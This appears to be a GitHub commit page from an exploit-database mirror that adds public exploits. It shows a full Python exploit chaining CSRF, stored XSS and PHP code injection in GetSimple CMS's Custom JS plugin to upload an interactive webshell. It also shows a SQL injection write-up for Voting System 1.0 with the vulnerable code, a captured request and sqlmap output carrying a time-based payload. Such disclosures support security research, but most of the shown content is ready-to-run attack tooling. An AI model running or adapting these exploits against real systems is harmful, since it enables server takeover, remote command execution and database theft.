DB: 2021-05-04

7 changes to exploits/shellcodes GetSimple CMS Custom JS 0.1 - CSRF to XSS to RCE Voting System 1.0 - Time based SQLI (Unauthenticated SQL injection) Piwigo 11.3.0 - 'language' SQL GitLab Community Edition (CE) 13.10.3 - User Enumeration GitLab Community Edition (CE) 13.10.3 - 'Sign_Up' User Enumeration Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes) Windows/x64 - Dynamic NoNull Add RDP Admin (BOKU:SP3C1ALM0V3) Shellcode (387 Bytes)
ddzzj · May 4, 2021 · dcd1229 · dcd1229
1 parent 23c2c2f
commit dcd1229
Show file tree

Hide file tree

Showing 9 changed files with 923 additions and 0 deletions.
diff --git a/exploits/php/webapps/49816.py b/exploits/php/webapps/49816.py
@@ -0,0 +1,166 @@
+# Exploit Title: GetSimple CMS Custom JS 0.1 - CSRF to XSS to RCE
+# Exploit Author: Bobby Cooke (boku) & Abhishek Joshi
+# Date: 30/04/201
+# Vendor Homepage: http://get-simple.info 
+# Software Link: http://get-simple.info/download/ & http://get-simple.info/extend/plugin/custom-js/1267/
+# Vendor: 4Enzo
+# Version: v0.1
+# Tested against Server Host: Windows 10 Pro + XAMPP
+# Tested against Client Browsers: Firefox (Linux & Windows) & Internet Explorer
+# Vulnerability Description:
+#    The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.
+# Full Disclosure & MITRE CVE Tracking: github.com/boku7/gsCMS-CustomJS-Csrf2Xss2Rce
+# CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
+# CVSS Base Score: 9.6
+
+import argparse,requests
+from http.server import BaseHTTPRequestHandler, HTTPServer
+from colorama import (Fore as F, Back as B, Style as S)
+from threading import Thread
+from time import sleep
+
+FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
+def bullet(char,color):
+    C=FB if color == 'B' else FR if color == 'R' else FG
+    return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '
+info,err,ok = bullet('-','B'),bullet('-','R'),bullet('!','G')
+
+class theTHREADER(object):
+    def __init__(self, interval=1):
+        self.interval = interval
+        thread = Thread(target=self.run, args=())
+        thread.daemon = True
+        thread.start()
+    def run(self):
+        run()
+
+def webshell(target):
+    try:
+        websh = "{}/webshell.php".format(target,page)
+        term = "{}{}PWNSHELL{} > {}".format(SB,FR,FB,ST)
+        welcome = '    {}{}]{}+++{}[{}========>{} HelloFriend {}<========{}]{}+++{}[{}'.format(SB,FY,FR,FY,FT,FR,FT,FY,FR,FY,ST)
+        print(welcome)
+        while True:
+            specialmove = input(term)
+            command = {'FierceGodKick': specialmove}
+            r = requests.post(websh, data=command, verify=False)
+            status = r.status_code
+            if status != 200:
+                r.raise_for_status()
+            response = r.text
+            print(response)
+    except:
+        pass
+
+
+def xhrRcePayload():
+    payload  = 'var e=function(i){return encodeURIComponent(i);};'
+    payload += 'var gt = decodeURIComponent("%3c");'
+    payload += 'var lt = decodeURIComponent("%3e");'
+    payload += 'var h="application/x-www-form-urlencoded";'
+    payload += 'var u="/admin/theme-edit.php";'
+    payload += 'var xhr1=new XMLHttpRequest();'
+    payload += 'var xhr2=new XMLHttpRequest();'
+    payload += 'xhr1.onreadystatechange=function(){'
+    payload += 'if(xhr1.readyState==4 && xhr1.status==200){'
+    payload += 'r=this.responseXML;'
+    payload += 'nVal=r.querySelector("#nonce").value;'
+    payload += 'eVal=r.forms[1][2].defaultValue;'
+    payload += 'xhr2.open("POST",u,true);'
+    payload += 'xhr2.setRequestHeader("Content-Type",h);'
+    payload += 'payload=e(gt+"?php echo shell_exec($_REQUEST[solarflare]) ?"+lt);'
+    payload += 'params="nonce="+nVal+"&content="+payload+"&edited_file="+eVal+"&submitsave=Save+Changes";'
+    payload += 'xhr2.send(params);'
+    payload += '}};'
+    payload += 'xhr1.open("GET",u,true);'
+    payload += 'xhr1.responseType="document";'
+    payload += 'xhr1.send();'
+    return payload
+
+def csrfPayload():
+    payload  = '<html><body>'
+    payload += '<form action="'+target+'/admin/load.php?id=CustomJSPlugin" method="POST">'
+    payload += '<input type="hidden" name="customjs_url_content" value="">'
+    payload += '<input type="hidden" name="customjs_js_content" value="'+xhrRcePayload()+'">'
+    payload += '<input type="hidden" name="submit" value="Save Settings">'
+    payload += '<input type="submit" value="Submit request">'
+    payload += '</form></body></html>'
+    return payload
+
+class S(BaseHTTPRequestHandler):
+    def do_GET(self):
+        victim = self.client_address
+        victim = "{}:{}".format(victim[0],victim[1])
+        print("{}{} connected to Malicious CSRF Site!".format(ok,victim))
+        print('{}Waiting for admin to view a CMS webpage & trigger the XSS XHR -> RCE payload..'.format(info))
+        self.wfile.write("{}".format(csrfPayload()).encode('utf-8'))
+
+def run(server_class=HTTPServer, handler_class=S, port=80):
+    server_address = ('', port)
+    httpd = server_class(server_address, handler_class)
+    print('{}Hosting CSRF attack & listening for admin to connect..'.format(info))
+    try:
+        httpd.serve_forever()
+    except KeyboardInterrupt:
+        pass
+    httpd.server_close()
+    print('Stopping httpd...')
+
+def tryUploadWebshell(target,page):
+    try:
+        blind = target+page
+        # The ^ symbols are required to escape the <> symbols to create the non-blind webshell (^ is an escape for window cmd prompt)
+        webshUpload  = {'solarflare': "echo ^<?php echo shell_exec($_REQUEST['FierceGodKick']) ?^>>webshell.php"}
+        requests.post(url=blind, data=webshUpload, verify=False)
+    except:
+        pass
+
+def checkWebshell(target):
+    try:
+        websh = "{}/webshell.php".format(target)
+        capsule = {'FierceGodKick':'pwnt?'}
+        resp = requests.post(url=websh, data=capsule, verify=False)
+        return resp.status_code
+    except:
+        pass
+
+def sig():
+    SIG  = SB+FY+"  .-----.._       ,--.            "+FB+"    ___  "+FY+"     ___ _____ _____ _   _ _____ \n"
+    SIG += FY+"  |  ..    >  ___ |  | .--.        "+FB+"  /   \\    "+FY+" |_  |  _  /  ___| | | |_   _| \n"
+    SIG += FY+"  |  |.'  ,'-'"+FR+"* *"+FY+"'-. |/  /__   __ "+FB+"   \\ O /   "+FY+"    | | | | \\ `--.| |_| | | |  \n"
+    SIG += FY+"  |      </ "+FR+"*  *  *"+FY+" \   /   \\/   \\ "+FB+"  / _ \\/\\ "+FY+"    | | | | |`--. \\  _  | | |  \n"
+    SIG += FY+"  |  |>   )  "+FR+" * *"+FY+"   /    \\        \\"+FB+" ( (_>  < "+FY+"/\\__/ | \\_/ /\\__/ / | | |_| |_ \n"
+    SIG += FY+"  |____..- '-.._..-'_|\\___|._..\\___\\ "+FB+"\\___/\\/"+FY+" \\____/ \\___/\\____/\\_| |_/\\___/\n"
+    SIG += FY+"  __"+FR+"linkedin.com/in/bobby-cooke/"+FY+"_____ "+"     __"+FR+"linkedin.com/in/reverse-shell/"+FY+"\n"+ST
+    return SIG
+
+def argsetup():
+    about  = SB+FB+'  The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.\n'+ST
+    about += SB+FC+'      CVSS Base Score'+FT+':'+FR+' 9.6  '+FT+'|'+FC+'  CVSS v3.1 Vector'+FT+':'+FR+' AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'+FC
+    parser = argparse.ArgumentParser(description=about, formatter_class=argparse.RawTextHelpFormatter)
+    desc1  = ST+FC+'Routable domain name of the target GetSimple CMS instance'+SB
+    parser.add_argument('Target',type=str,help=desc1)
+    desc2  = ST+FC+'Path to the public page which implements the CMS theme'+ST
+    parser.add_argument('PublicPage',type=str,help=desc2)
+    args   = parser.parse_args()
+    return args
+
+if __name__ == '__main__':
+    header    = SB+FR+'                 GetSimple CMS - Custom JS Plugin Exploit\n'
+    header   += SB+FB+'          CSRF '+FT+'->'+FB+' Stored XSS '+FT+'->'+FB+' XHR PHP Code Injection '+FT+'->'+FB+' RCE\n'+ST
+    header   += SB+FT+'                   '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke & Abhishek Joshi\n'+ST
+    print(header)
+    args      = argsetup()
+    target    = args.Target
+    page      = args.PublicPage
+    print(sig())
+    theTHREADER()
+    pwnt = checkWebshell(target)
+    if pwnt != 200:
+        while pwnt != 200:
+            sleep(3)
+            tryUploadWebshell(target,page)
+            sleep(2)
+            pwnt = checkWebshell(target)
+    print("{} A wild webshell appears!".format(ok))
+    webshell(target)
diff --git a/exploits/php/webapps/49817.txt b/exploits/php/webapps/49817.txt
@@ -0,0 +1,171 @@
+# Exploit Title: Voting System 1.0 - Time based SQLI  (Unauthenticated SQL injection)
+# Date: 02/05/2021
+# Exploit Author: Syed Sheeraz Ali
+# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html
+# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
+# Version: 1.0
+# Tested on: Windows 10 20H2 + XAMPP v3.2.4
+
+If we try to login as a voter and catch the login request in burp then pass it to sql map then we can put our payload in voter parameter
+
+Vulnerable code
+
+```
+
+Path :- /votersystem/login.php
+
+
+<?php
+
+    session_start();
+
+    include 'includes/conn.php';
+
+
+    if(isset($_POST['login'])){
+
+        $voter = $_POST['voter']; <- vulnerable parameter
+
+        $password = $_POST['password'];
+
+
+        $sql = "SELECT * FROM voters WHERE voters_id = '$voter'";  <-
+Passed unsanitized input
+
+        $query = $conn->query($sql);
+
+
+        if($query->num_rows < 1){
+
+            $_SESSION['error'] = 'Cannot find voter with the ID';
+
+        }
+
+        else{
+
+            $row = $query->fetch_assoc();
+
+            if(password_verify($password, $row['password'])){
+
+                $_SESSION['voter'] = $row['id'];
+
+            }
+
+            else{
+
+                $_SESSION['error'] = 'Incorrect password';
+
+            }
+
+        }
+
+
+
+    }
+
+    else{
+
+        $_SESSION['error'] = 'Input voter credentials first';
+
+    }
+
+
+    header('location: index.php');
+
+
+?>
+
+```
+Request
+
+```
+
+POST /login.php HTTP/1.1
+Host: 10.129.139.200
+Content-Length: 27
+Cache-Control: max-age=0
+Upgrade-Insecure-Requests: 1
+Origin: http://10.129.139.200
+Content-Type: application/x-www-form-urlencoded
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+Sec-GPC: 1
+Referer: http://10.129.139.200/
+Accept-Encoding: gzip, deflate
+Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
+Cookie: PHPSESSID=vuukl0gemht1iiq7lmptu7npoe
+Connection: close
+
+voter=as&password=as&login=
+
+```
+Sqlmap output
+
+```
+
+python3 sqlmap.py --dbms=mysql --batch --level=1 --risk=3 -r /Users/sheerazali/Documents/wpcve/voter.req -p voter
+
+        ___
+
+       __H__
+
+ ___ ___[)]_____ ___ ___  {1.5.4.7#dev}
+
+|_ -| . [(]     | .'| . |
+
+|___|_  ["]_|_|_|__,|  _|
+
+      |_|V...       |_|   http://sqlmap.org
+
+
+[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
+mutual consent is illegal. It is the end user's responsibility to obey all
+applicable local, state and federal laws. Developers assume no liability
+and are not responsible for any misuse or damage caused by this program
+
+
+[*] starting @ 07:50:56 /2021-05-02/
+
+
+[07:50:56] [INFO] parsing HTTP request from
+'/Users/sheerazali/Documents/wpcve/voter.req'
+
+[07:50:57] [INFO] testing connection to the target URL
+
+got a 302 redirect to 'http://10.129.139.200:80/index.php'. Do you want to follow? [Y/n] Y
+
+redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
+
+sqlmap resumed the following injection point(s) from stored session:
+
+---
+
+Parameter: voter (POST)
+
+    Type: time-based blind
+
+    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+
+    Payload: voter=as' AND (SELECT 2487 FROM (SELECT(SLEEP(5)))WYpt) AND 'hBVQ'='hBVQ&password=as&login=
+
+---
+
+[07:50:57] [INFO] testing MySQL
+
+do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
+
+[07:51:08] [INFO] confirming MySQL
+[07:51:08] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
+[07:51:19] [INFO] adjusting time delay to 1 second due to good response times
+[07:51:19] [INFO] the back-end DBMS is MySQL
+
+web application technology: PHP 7.3.27, Apache 2.4.46
+
+back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
+
+[07:51:19] [INFO] fetched data logged to text files under '/Users/sheerazali/.local/share/sqlmap/output/10.129.139.200'
+
+
+[*] ending @ 07:51:19 /2021-05-02/
+
+```